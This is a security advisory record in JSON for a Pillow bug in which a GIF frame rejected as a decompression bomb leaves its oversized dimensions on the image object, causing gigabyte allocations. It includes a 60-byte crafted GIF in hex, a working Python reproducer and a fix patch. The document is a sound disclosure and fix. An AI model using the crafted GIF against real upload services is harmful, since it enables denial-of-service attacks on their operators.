{"id":"GHSA-65qm-jvmh-6pqg","summary":"Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS","details":"```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.\n\nIn the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated\n    Image._decompression_bomb_check(self._size)                 # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00               another 1x1 frame\n3b                                              trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n  file pointer just past the 9-byte descriptor, so the retry parses whatever\n  follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`\n  then runs `GifImageFile.load_prepare()`:\n  ```python\n  # src/PIL/GifImagePlugin.py:452-456\n  elif self.mode in (\"RGB\", \"RGBA\"):\n      self._prev_im = self.im\n      if self._frame_palette:\n          self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n  ```\n  which allocates and `memset`s a 40000×40000 \"P\" image (1.6 GB) to decode a\n  1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n  one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n  common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n  from `im.size` as well (measured on an object poisoned to 20000×20000:\n  `rotate(45, expand=True)` completes and touches 776 MiB;\n  `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n  `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n  fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070×131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96× the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1×1).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` — a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` — and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n   `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n   the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n   by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so\n   `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n   descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error\n   threshold). A real 1×1 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n   an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n   to the real pixel buffer `im.im.size`. If the rejected frame had left the\n   object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n   `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n   parses the trailing 1×1 frame, and calls `im.load()`. It prints the\n   process's peak RSS before and after. `load_prepare()` sizes its\n   `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n   1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -\u003e 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more than 1000 MiB\nwhile loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n             with pytest.raises(Image.DecompressionBombError):\n                 im.seek(1)\n \n+            # The rejected frame should not have changed the image size\n+            assert im.size == (100, 100)\n+\n     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -\u003e None:\n         # Set limit to trigger exception on the test file\n         monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,474 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame's enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n    return b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n    return (\n        b\"GIF89a\" + struct.pack(\"\u003cHHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n        + frame_1x1()                                         # frame 0: 1x1, passes open()\n        + b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000\n        + frame_1x1()                                         # a real 1x1 frame follows\n        + b\";\"\n    )\n\n\ndef peak_rss_mib():\n    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n    # Cap the address space so the oversized allocations end in MemoryError\n    # instead of the OOM killer.\n    resource.setrlimit(resource.RLIMIT_AS, (3 \u003c\u003c 30, 3 \u003c\u003c 30))\n    data = bomb_gif()\n    im = Image.open(io.BytesIO(data))\n    print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n    return im\n\n\ndef poc(im):\n    # An application skips the bomb frame and keeps going.\n    try:\n        im.seek(1)\n    except Image.DecompressionBombError as e:\n        print(f\"seek(1) raised as intended: {e}\")\n        return True\n    return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] \u003e LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n    im.load()\n    outcome = \"completed\"\nexcept MemoryError:\n    outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -\u003e {after} MiB\")\nballooned = after - before \u003e 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-112400"],"modified":"2026-10-20T21:00:04.406280915Z","published":"2026-10-20T20:53:36Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-20T20:53:36Z","nvd_published_at":"2026-10-19T22:17:07Z","cwe_ids":["CWE-400"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112400"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.2.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-65qm-jvmh-6pqg/GHSA-65qm-jvmh-6pqg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}